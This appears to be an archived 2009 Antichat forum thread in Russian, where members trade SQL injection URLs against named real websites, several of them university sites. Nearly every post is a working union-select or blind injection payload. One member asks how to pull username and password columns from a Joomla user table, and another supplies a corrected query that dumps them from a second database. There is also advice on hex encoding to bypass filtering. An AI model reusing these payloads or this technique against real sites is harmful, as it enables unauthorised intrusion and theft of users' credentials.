ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
20.02.2009, 03:03
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
http://studorgs.bowdoin.edu/meddies/members.php?mid=28+and+substring(version(),1,1)=3/*
http://cyberbuzz.gatech.edu/ice_hockey/news.php?nid=5+and+substring(version(),1,1)=3/*
http://studorgs.bowdoin.edu/meddies/news.php?nid=10+and+substring(version(),1,1)=3
http://www.mgv.edu/view_news.php?nid=3+union+select+1,version(),3,4--+
Когда-же ты будешь помнить про третью ветку? 
Последний раз редактировалось jokester; 20.02.2009 в 03:06..
|
|
|
20.02.2009, 03:04
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
jokester
как всегда оставил тройки))
-mOrGan-
незаметил)
|
|
|
|
20.02.2009, 03:12
|
|
Познающий
Регистрация: 18.03.2006
Сообщений: 47
Провел на форуме:
311345
Репутация:
9
|
|
Привет,
Есть адрес :
http://magicweb.md/news.php?id=-28+union+select+1,2,3,4,5,6,7/*
DataBase() : usr_mweb2_4
Version() : 5.0.32-Debian_7etch8-log
User() : mweb2@localhost
Tables ### jos_users ,user
Columns ### ID , group_ID , login , pass , name , email ,lastvisit , ---(это от таблицы user) |
id , name , username , email , password , usertype --- (от таблицы jos_users )
Вопрос :
Я когда пытаюсь писать например :
magicweb.md/news.php?id=-28+union+select+1,2,3,concat(username,0x3A,passwor d)+from+jos_users/*
То выскакивает ошибка. Я пытался обходить типа unhex(hex(username)) ,ili convert(username+using+latin1) ... но у меня не выходит вывести данные с таблицы . Подскажите пожалуйста что делать .
|
|
|
|
20.02.2009, 03:19
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
Stalingrad
http://magicweb.md/news.php?id=-28+union+select+1,2,3,concat_ws(0x3a,username,pass word),5,6,7+from+usr_mweb2_1.jos_users/*
таблица в другой базе
Последний раз редактировалось sabe; 20.02.2009 в 03:24..
|
|
|
|
20.02.2009, 03:31
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
2sabe,
Код:
http://www.umass.edu/research/rld/bioportal/viewfac.php?fid=-79'+union+select+1,2,3,4,5,6,version(),8,9,0,11,12,13,14,15,16,17,18--+
|
|
|
|
20.02.2009, 03:54
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
почему так?
http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+order+by+4--
однако , http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+union+select+1,2,3,4-- не работает... ?
|
|
|
|
20.02.2009, 04:02
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
вроде как инъект без вывода...
http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+and+substring(version(),1, 1)=4--
есть таблица user.
Последний раз редактировалось -m0rgan-; 20.02.2009 в 04:25..
|
|
|
|
20.02.2009, 05:23
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
Точно сказать не могу...кодировать не пробовал?
|
|
|
|
20.02.2009, 07:20
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
как?)
|
|
|
|
20.02.2009, 09:05
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
ну hex на пример...
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
